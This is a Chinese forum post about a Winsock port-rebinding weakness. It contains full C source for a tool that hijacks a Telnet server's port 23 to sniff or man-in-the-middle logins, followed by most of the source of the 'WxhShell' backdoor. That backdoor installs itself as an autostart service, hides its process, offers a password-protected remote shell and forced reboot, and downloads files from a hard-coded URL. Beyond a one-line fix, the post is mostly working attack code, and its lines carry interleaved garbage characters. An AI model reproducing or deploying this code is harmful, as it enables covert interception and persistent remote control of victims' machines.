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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x[ ~b2o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RO+GK`J  
Lo{ E:5q  
  saddr.sin_family = AF_INET; G|!Tj X7s  
vlmB`T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qouhuH_WtJ  
EE&K0<?T|:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GfoLae  
[8 ]z|bM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {FeDvhv  
t5\-v_mG=&  
  这意味着什么?意味着可以进行如下的攻击: Cjm`|~&e+  
IA8f*]?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U)fc*s  
_n0CfH.v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }~e8e   
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :}'=`wa  
6m* QX+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]b2pG'  
^a0um/+M}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EN<F# Y3E  
Xv ]W(f1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FtP0krO(  
Xix L  R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ? uzRhC_)!  
7zXvnxYE  
  #include )WNzWUfn=z  
  #include }7|1  
  #include  HSjlD{R  
  #include    3`t#UY).F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V,lOt4b  
  int main() eenH0Ovv  
  { e24WW^S  
  WORD wVersionRequested; o[Q MTP  
  DWORD ret; XKj|f`  
  WSADATA wsaData; 3 oF45`3FV  
  BOOL val; BTqS'NuT  
  SOCKADDR_IN saddr; ! `   
  SOCKADDR_IN scaddr; _C%3h5  
  int err; Ta ZmRL  
  SOCKET s; !"?#6-,Xn  
  SOCKET sc; hgYZOwQ  
  int caddsize; 0fb2;&pUa  
  HANDLE mt; s Ep"D+f  
  DWORD tid;   b[r8 e  
  wVersionRequested = MAKEWORD( 2, 2 ); PCHu #5j_a  
  err = WSAStartup( wVersionRequested, &wsaData ); w1Nm&}V  
  if ( err != 0 ) { g0xuxK;9c  
  printf("error!WSAStartup failed!\n"); "h{q#~s  
  return -1; hO\<%0F  
  } .F4>p=r  
  saddr.sin_family = AF_INET; 1F5XvQl  
   cM(:xv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OcR$zlgs[v  
CpUk Cgg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [\^ n=  
  saddr.sin_port = htons(23); h]IxXP?h[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lHN5Dr  
  { q(  
  printf("error!socket failed!\n"); 1-8mFIK  
  return -1; dP9qSwTa  
  } Q3kdlxXR  
  val = TRUE; -]0OKE&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =Gpylj7?~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^n*)7K[  
  { e(]!GA  
  printf("error!setsockopt failed!\n"); ePOG}k($/%  
  return -1; 1!xQ=DU"  
  } ,Xu-@br{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xgwY@'GN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Nyku4r0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (yH'{6g\  
)Kc<j!8-[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $SlIr<'*"  
  { %f&/E"M  
  ret=GetLastError(); Z^bQ^zk-  
  printf("error!bind failed!\n"); ,;EIh}  
  return -1;  :|>h7v  
  } v,FU^f-'  
  listen(s,2); 0M_ DB=  
  while(1) 3 ]5^r}  
  { #3i3G(mQ  
  caddsize = sizeof(scaddr); [;n9:Qxf  
  //接受连接请求 G?L HmTHg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q$0*b]=E  
  if(sc!=INVALID_SOCKET) .p<:II:6  
  { nD_GL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |U:k,YH  
  if(mt==NULL) @x*c1%wg  
  { aB_F9;IR  
  printf("Thread Creat Failed!\n"); EuZ<quwWg  
  break; @:oXN]+ _  
  } 9g9HlB&Ze  
  } Xpr?Kgz  
  CloseHandle(mt); ]0Y4U7W  
  } W>${zVu  
  closesocket(s); %^?fMeI|Y  
  WSACleanup(); |UkR'Ma  
  return 0; Gt\lFQ  
  }   a!zz6/q[  
  DWORD WINAPI ClientThread(LPVOID lpParam) D#_3^Kiawj  
  { :NhO2L  
  SOCKET ss = (SOCKET)lpParam; 4X!/hI=jq  
  SOCKET sc; 7BE>RE=)  
  unsigned char buf[4096]; xs{3pkTYD  
  SOCKADDR_IN saddr; ]N~2 .h  
  long num; )1]ZtU  
  DWORD val; GA$V0YQX  
  DWORD ret; `LrHKb aP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bBiE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P}Gj %4/G  
  saddr.sin_family = AF_INET; M,j U}yD3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aZH:#lUlj  
  saddr.sin_port = htons(23); ${<%" hR$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W =D4r  
  { 6|gCuT4  
  printf("error!socket failed!\n"); rlMLW  
  return -1; {0[tNth'h  
  } >BV^H.SO|1  
  val = 100; S 8kCp;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bHY=x}Hv  
  { 5VfyU8)7X  
  ret = GetLastError(); +KF^Z$I  
  return -1; Q7HRzA^-  
  } Sgeh %f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6Pz4\uE=  
  { 'K$[^V  
  ret = GetLastError(); R"-mKT}  
  return -1; ^PDJ0k/u1  
  } Mer/G2#&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $[Sc0dzJ  
  { +cJL7=V&  
  printf("error!socket connect failed!\n"); <ykU6=  
  closesocket(sc); E~DQ-z  
  closesocket(ss); q;B4WL}  
  return -1; h\$$JeSV]  
  } #Vnkvvv  
  while(1) `68@+|#  
  { .u)X3..J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2bv=N4ly  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x!?u^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f&=AA@jLv  
  num = recv(ss,buf,4096,0); nXaC 3W:"  
  if(num>0) +vw\y  
  send(sc,buf,num,0); \S"isz  
  else if(num==0) G'nmllB`]  
  break; j%Y#(Q>  
  num = recv(sc,buf,4096,0); =Z{O<xw'  
  if(num>0) ^-TE([bW  
  send(ss,buf,num,0); Giid~e33  
  else if(num==0) S){)Z  
  break; rF3wx.  
  } lXx=But  
  closesocket(ss); ^6jV_QM#  
  closesocket(sc); ^4y,W]JUDt  
  return 0 ; 9Uh"iMB  
  } g1;:KzVv  
/Y/UM3/  
u]g%@3Pn  
========================================================== )1Y{Q Y}l  
*1ilkmL%  
下边附上一个代码,,WXhSHELL >,v`EIg  
eln)BW#  
========================================================== y|jl[pyg)  
[ZNtCnv  
#include "stdafx.h" FVMD>=k  
b10cuy|a/X  
#include <stdio.h> tl[Uw[  
#include <string.h> P:hBt\5B  
#include <windows.h> <kfnpB=  
#include <winsock2.h> ({ +!`}GY  
#include <winsvc.h> /?wtF4  
#include <urlmon.h> To\QjP-  
OstQqV%@  
#pragma comment (lib, "Ws2_32.lib") GiJ *Wp  
#pragma comment (lib, "urlmon.lib") Oz w.siD  
O+nEXS\rQ  
#define MAX_USER   100 // 最大客户端连接数 jkQ*D(;p  
#define BUF_SOCK   200 // sock buffer t^UxR@l<K|  
#define KEY_BUFF   255 // 输入 buffer W 6^5YH%  
jqz ux[6{  
#define REBOOT     0   // 重启 pD8+ 4;A  
#define SHUTDOWN   1   // 关机 ~jWn4 \  
`A,-@`p  
#define DEF_PORT   5000 // 监听端口 #{6{TFx\  
2\)xpOj  
#define REG_LEN     16   // 注册表键长度 :>rkG?NfL  
#define SVC_LEN     80   // NT服务名长度 $1SPy|y  
0$(WlP |  
// 从dll定义API 3Lfqdqj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SDC4L <!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R1s`z|?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AKY1o.>z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mhm@R@  
w{{gu1#]G  
// wxhshell配置信息 9-sw!tKx  
struct WSCFG { QpF;:YX^3  
  int ws_port;         // 监听端口 vXev$x=w-  
  char ws_passstr[REG_LEN]; // 口令 DMs,y{v  
  int ws_autoins;       // 安装标记, 1=yes 0=no H(H<z,$}T  
  char ws_regname[REG_LEN]; // 注册表键名 Oylf<&knF\  
  char ws_svcname[REG_LEN]; // 服务名 0!D4pvlt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u6J8"< -W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c\/=iVw,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :v YYfs&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no seba9 y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CYt?,qk-r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N' F77 .  
tCw<Ip  
}; %3s1z<;R[S  
*}Xf!"I#]N  
// default Wxhshell configuration #^#PPO  
struct WSCFG wscfg={DEF_PORT, [m- >5H  
    "xuhuanlingzhe", SDL7<ZaE  
    1, ke!?BZx  
    "Wxhshell", 'Oxy$U   
    "Wxhshell", XUrXnz|>  
            "WxhShell Service", q~rEq%tk  
    "Wrsky Windows CmdShell Service", ]yV!  
    "Please Input Your Password: ", )"qa kT  
  1, at@G/?  
  "http://www.wrsky.com/wxhshell.exe", *$#W]bO  
  "Wxhshell.exe" <g-9T-Ky  
    }; }?lrU.@zg  
sm9k/(-  
// 消息定义模块 _qU4Fadgm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; md+nj{Ib  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =-tw5], L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3\AU 72-  
char *msg_ws_ext="\n\rExit."; '-wj9OU  
char *msg_ws_end="\n\rQuit."; bkRLC_/d  
char *msg_ws_boot="\n\rReboot..."; n*o-Lo+Fe.  
char *msg_ws_poff="\n\rShutdown..."; f0!))/rSD  
char *msg_ws_down="\n\rSave to "; __uA}f Zp  
_,kj:R.  
char *msg_ws_err="\n\rErr!"; :{{F *FM;  
char *msg_ws_ok="\n\rOK!"; 97Lte5c6r  
Cwr~HY  
char ExeFile[MAX_PATH]; ^0Zf,40  
int nUser = 0; {M3qLf~z#C  
HANDLE handles[MAX_USER]; K~uXO  
int OsIsNt; !H#bJTXB  
e4-@ f%5  
SERVICE_STATUS       serviceStatus; r`$OO,W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u\a#{G;Z  
r+'qd)  
// 函数声明 w!#tTyk`  
int Install(void); r=Gks=NX"  
int Uninstall(void); oL-]3TY~  
int DownloadFile(char *sURL, SOCKET wsh); 0*VWzH   
int Boot(int flag); q$p%ZefZ  
void HideProc(void); ) g0%{dfJ  
int GetOsVer(void); [2>yYr s_=  
int Wxhshell(SOCKET wsl); U] ~$g}!)  
void TalkWithClient(void *cs); 3s5z UT;  
int CmdShell(SOCKET sock); RPwbTAl}  
int StartFromService(void); ycc4W*]  
int StartWxhshell(LPSTR lpCmdLine); }q`ts=dlGt  
+00b)TF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [v7F1@6b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -M~8{buxv  
,aOl_o -&  
// 数据结构和表定义 _> f`!PlB|  
SERVICE_TABLE_ENTRY DispatchTable[] = a Ve'ry  
{ N1Ng^aY0  
{wscfg.ws_svcname, NTServiceMain}, B`YTl~4  
{NULL, NULL} LU \i0|i|  
}; #r$cyV!k  
ks&*O!h  
// 自我安装 Ki4r<>\l{H  
int Install(void) F7A=GF'  
{ ZLc -RM  
  char svExeFile[MAX_PATH]; %}[i'rT>  
  HKEY key; AmvEf  
  strcpy(svExeFile,ExeFile); }\hVy(\c  
-O1>|y2rU  
// 如果是win9x系统,修改注册表设为自启动 .>q8W  
if(!OsIsNt) { .rO]M:UY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S3F;(PDzy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C](f>)Dz /  
  RegCloseKey(key); dFRsm0T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6RG)` bu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iyA'#bE-  
  RegCloseKey(key); VQ"hUX8  
  return 0; 8H;t_B  
    } ?TM ,Q  
  } %!]@J[*1  
} wHzEMwY_  
else { !-ok"k0,u  
6 rh5h:  
// 如果是NT以上系统,安装为系统服务 W~6EEyD%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A]<y:^2])C  
if (schSCManager!=0) f}aL-N~  
{ ]-PH^H  
  SC_HANDLE schService = CreateService {^ qcx8  
  ( 6,o~\8ia  
  schSCManager, |_LU~7./  
  wscfg.ws_svcname, r/4``shg  
  wscfg.ws_svcdisp, [V^WGW2oY  
  SERVICE_ALL_ACCESS, |"?M1*g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FI[A[*fi  
  SERVICE_AUTO_START, 3Q"<<pi!~  
  SERVICE_ERROR_NORMAL, lun#^J  
  svExeFile, 1uG"f<TsR  
  NULL, "&%I)e^  
  NULL, 0+iu(VbF  
  NULL, Y}x>t* I  
  NULL, 4^:\0U F  
  NULL 4Z1ST;  
  ); vY4\59]P  
  if (schService!=0) R_(tjkT  
  { s&A} h  
  CloseServiceHandle(schService); mi ik%7>W  
  CloseServiceHandle(schSCManager); B,<da1(a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %9w::hav  
  strcat(svExeFile,wscfg.ws_svcname); C^3 <={  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O#b6mKPt;t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O|\J}rm'  
  RegCloseKey(key); c$ao:nP)D  
  return 0; dUsYZdQs  
    } $()5VM b  
  } 9Kpa><  
  CloseServiceHandle(schSCManager); M2d$4-<  
} yQU_>_!n  
} FO=4:   
mN~ci 0  
return 1; 3) 8QS  
} 34z"Pm  
io _1Y]N  
// 自我卸载 -!q :p&c  
int Uninstall(void) x8wD0D  
{ GU4'&#  
  HKEY key; 4P'*umJi  
!5.8]v  
if(!OsIsNt) { XJ;D=~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1s%#$ 7  
  RegDeleteValue(key,wscfg.ws_regname); {K <iih  
  RegCloseKey(key); jB`,u|FG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AB=daie  
  RegDeleteValue(key,wscfg.ws_regname); ;L cVr13J/  
  RegCloseKey(key); 9}l33T4T  
  return 0; .>CPRVuVI  
  } H!?c\7adX  
} U@g4w!$r  
} Jzj1w}?H  
else { M1 :uJkO.  
b8~Bazk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C3*gn}[  
if (schSCManager!=0) I2TaT(e\  
{ d_CKP"TA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `)` n(B  
  if (schService!=0) 0C1pt5K  
  { o4j[p3$  
  if(DeleteService(schService)!=0) { cimp/n"  
  CloseServiceHandle(schService); %{ABaeb]  
  CloseServiceHandle(schSCManager); d^RxQuA  
  return 0; IHe/xQ@  
  } $8;R[SU6Y  
  CloseServiceHandle(schService); u2[ iMd  
  } rQk<90Ar  
  CloseServiceHandle(schSCManager); * vflscgt  
} _I:~@  
} e^d0zl{  
Ai:BEPKe  
return 1; 18~>ZR  
} s@9vY\5[9  
#i@;J]x(  
// 从指定url下载文件 _]yn"p  
int DownloadFile(char *sURL, SOCKET wsh) HIQ _%L4]  
{ 0KYEb%44  
  HRESULT hr;  U mNa[ s  
char seps[]= "/"; )T';qm0w  
char *token; RM K"o?  
char *file; eb.O#Y  
char myURL[MAX_PATH]; 3x5JFM  
char myFILE[MAX_PATH]; [baiH|5>  
t0o`-d(  
strcpy(myURL,sURL); =o Xsb  
  token=strtok(myURL,seps); ZNf6;%oGG  
  while(token!=NULL) {)"iiJ  
  { '>&^zgr  
    file=token; } ~h3c|  
  token=strtok(NULL,seps); M*z~gOZ  
  } #1`-*.u  
>xF/Pl  
GetCurrentDirectory(MAX_PATH,myFILE); #N#'5w-G  
strcat(myFILE, "\\"); FuVnk~gq  
strcat(myFILE, file); .$Ik`[+Z  
  send(wsh,myFILE,strlen(myFILE),0); (&}i`}v_  
send(wsh,"...",3,0); ,a gc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !_`&Wks  
  if(hr==S_OK) 4#ug]X4Y')  
return 0; 8)O[Aq::  
else 'ixwD^x  
return 1; {XNREjhm  
hJn%mdx~w|  
} crqpV F]1]  
V=zi >o`   
// 系统电源模块 Y,W uBH  
int Boot(int flag) #cnq(S=.  
{ V^JV4 `o  
  HANDLE hToken; N F2/B#q  
  TOKEN_PRIVILEGES tkp; S'A>2>  
(5R?#vj  
  if(OsIsNt) { +s,Qmmb7)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g6Q!8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7N-w eX  
    tkp.PrivilegeCount = 1; :,Pn3xl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y=`2\L" O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h!&prYx  
if(flag==REBOOT) { {U!8|(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .z 6fv  
  return 0; GqWB{$J;"  
} 2W/?q!t  
else { \]=7!RQ\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kB/D!1 "  
  return 0; ,=tD8@a<  
} |p><'Q% *  
  } dik:4;  
  else { @n(Z$)8tR  
if(flag==REBOOT) { dE:+k/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^~G8?]w  
  return 0; ^SxY IFL  
} MP_'D+LS  
else { K@#(*."  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Z(TCJ~~!  
  return 0; (@t(?Js  
} o>/YAX:.!T  
} V>ieh2G(  
'f[T&o&L/  
return 1; &$]v h  
} C!Rs^/  
{P{bOe  
// win9x进程隐藏模块 sA'6ty  
void HideProc(void) --HF8_8;'  
{ c.,2GwW  
NXNY"r7~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^zt-HDBR_  
  if ( hKernel != NULL ) ;cPy1  
  { >)spqu]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AI,(z;{P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sg6"WV{<  
    FreeLibrary(hKernel); V#cqRE3XNi  
  } x/;buW-  
]T;EdK-  
return; {) Q@c)'  
} R,F[XI+=N  
q>mE< (-M  
// 获取操作系统版本 0BH_'ZW  
int GetOsVer(void) t*>R`,j  
{ enp)-nS0  
  OSVERSIONINFO winfo; 7 qj9&bEy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HRiL.DS  
  GetVersionEx(&winfo); fRtUvC-#H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 G3\=)  
  return 1; LM7$}#$R  
  else `FYv3w2  
  return 0; XVKfl3'%  
} 5]HS^II"  
tZ^Ou89:rG  
// 客户端句柄模块 @1DX  
int Wxhshell(SOCKET wsl) y($%;l   
{ t%'Z<DmG+  
  SOCKET wsh; gF[z fDm  
  struct sockaddr_in client; $:  ]o]a  
  DWORD myID; FI3)i>CnW  
4$*%gL;f^  
  while(nUser<MAX_USER) zgs(Dt;  
{ g>dA$h%  
  int nSize=sizeof(client); %n hm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c0hwc1kv-  
  if(wsh==INVALID_SOCKET) return 1; n@U n  
f}1&HI8r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :{IO=^D=$  
if(handles[nUser]==0) <^zHE=h"  
  closesocket(wsh); ~$p2#AqX  
else o(S{VGi,  
  nUser++; hO';{Nl/$  
  } ?Rj~f{%g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hir4ZO%Zt  
\T <$9aNb  
  return 0; 2I&o69x?  
} >y[oP!-|P  
 ^}:#  
// 关闭 socket 3'^k$;^  
void CloseIt(SOCKET wsh) 6xZ=^;H  
{ tQ H+)*  
closesocket(wsh); %*&UJpbA  
nUser--; 2Z3('?\z~  
ExitThread(0); U2`'qsR1  
} Q5FM8Q  
# m[|2R  
// 客户端请求句柄 gFHT G  
void TalkWithClient(void *cs) ,4ei2`wV  
{ sO.`x*  
J41G&$j(  
  SOCKET wsh=(SOCKET)cs; 9nH?l{As   
  char pwd[SVC_LEN]; GKoK7qH\J  
  char cmd[KEY_BUFF]; Hd,p!_  
char chr[1]; !zPa_`P  
int i,j; Db6om7N  
|\U5) ,m  
  while (nUser < MAX_USER) { W2z*91$  
Sp}tD<V  
if(wscfg.ws_passstr) { u$-U*r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zOGU8Wg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^_ kJKM,  
  //ZeroMemory(pwd,KEY_BUFF); 4H|(c[K;  
      i=0; xj[(P$,P  
  while(i<SVC_LEN) { xia|+  
55;g1o}}f  
  // 设置超时 aBNZdX]vzO  
  fd_set FdRead; PJ2qfYsH=>  
  struct timeval TimeOut; Pv<24:ao  
  FD_ZERO(&FdRead); t 0-(U\  
  FD_SET(wsh,&FdRead); F$^Su<w5l  
  TimeOut.tv_sec=8; 6e _dJ=_  
  TimeOut.tv_usec=0; L5qwWvbT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CE"JS-S?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u-tQ9ioKC  
L~I hsiB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h+aS4Q&  
  pwd=chr[0]; }J7zTj~{  
  if(chr[0]==0xd || chr[0]==0xa) { <x&%~6j  
  pwd=0; Tp0bS  
  break; 5cEcTJL[C  
  } VMCLHpSfW  
  i++; ({NAMc*  
    } k iRa+w:  
j S]><rm  
  // 如果是非法用户,关闭 socket =IUUeFv +r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _>v<(7  
} fgBM_c&9T  
1&P<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !w H'b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `\m*+Bk[5  
:OW ;?{ ~j  
while(1) { Bf$_XG3  
zcva-ze:;  
  ZeroMemory(cmd,KEY_BUFF); '&sE=.  
(XXheC  
      // 自动支持客户端 telnet标准   8X I?  
  j=0; hAm`NJMSO  
  while(j<KEY_BUFF) { m\ddp_l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y& F=t/U2  
  cmd[j]=chr[0]; [p2H=  
  if(chr[0]==0xa || chr[0]==0xd) { {&"L~>/o  
  cmd[j]=0; (I@rLvZr{  
  break; eQVZO>)P1+  
  } J@OB`2?Zv  
  j++; H<QT3RF2  
    } J7v|vj I  
MSV2ip3  
  // 下载文件 A.D{.a  
  if(strstr(cmd,"http://")) { =+x yI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Tnsr(Z  
  if(DownloadFile(cmd,wsh)) kFQ8 y~>y}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z Nl ,  
  else J!5v~<v?-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \tRG1&{$%  
  } e#B#B  
  else { rvyr xw%[  
NNF>Xa`9,  
    switch(cmd[0]) { e{KByFl  
  _ z;q9&J)  
  // 帮助 .-JCwnP  
  case '?': { Q//,4>JKf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &<+ A((/i  
    break; 3mSXWl^?  
  } &E M\CjKv"  
  // 安装 <&!v1yR  
  case 'i': { 7Su#Je]  
    if(Install()) *A~ G_0B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;3 F"TH  
    else <HRBMSR+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )NO<s0?&  
    break; M gC:b-&5_  
    } &bhq`>  
  // 卸载 h1(j2S`:  
  case 'r': { uK'&Dam  
    if(Uninstall()) !gLkJ)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPwT^zV&N  
    else {>"NyY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n3lE, b  
    break; ?X-)J=XG  
    } ^0#; YOk  
  // 显示 wxhshell 所在路径 z`Hy'{1  
  case 'p': { )~V4+*<  
    char svExeFile[MAX_PATH]; X{^}\,cVtG  
    strcpy(svExeFile,"\n\r"); TyKWy0x-3  
      strcat(svExeFile,ExeFile); .^bft P\  
        send(wsh,svExeFile,strlen(svExeFile),0); 5qf BEPJ  
    break; 87WBM;$&s  
    } m{7^EF  
  // 重启 yi^b)2G  
  case 'b': { 'SYo_!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r|*&GHo L  
    if(Boot(REBOOT)) ql GW.jY.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jAh2N3)  
    else { 1.D-FPK  
    closesocket(wsh); $HG}[XD?  
    ExitThread(0); fA=#Fzk2  
    } n$aA)"A #  
    break; '&99?s`u  
    } xcJ `1*1N  
  // 关机 QW_agm  
  case 'd': { ]?h`:,]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [Px'\ nVf  
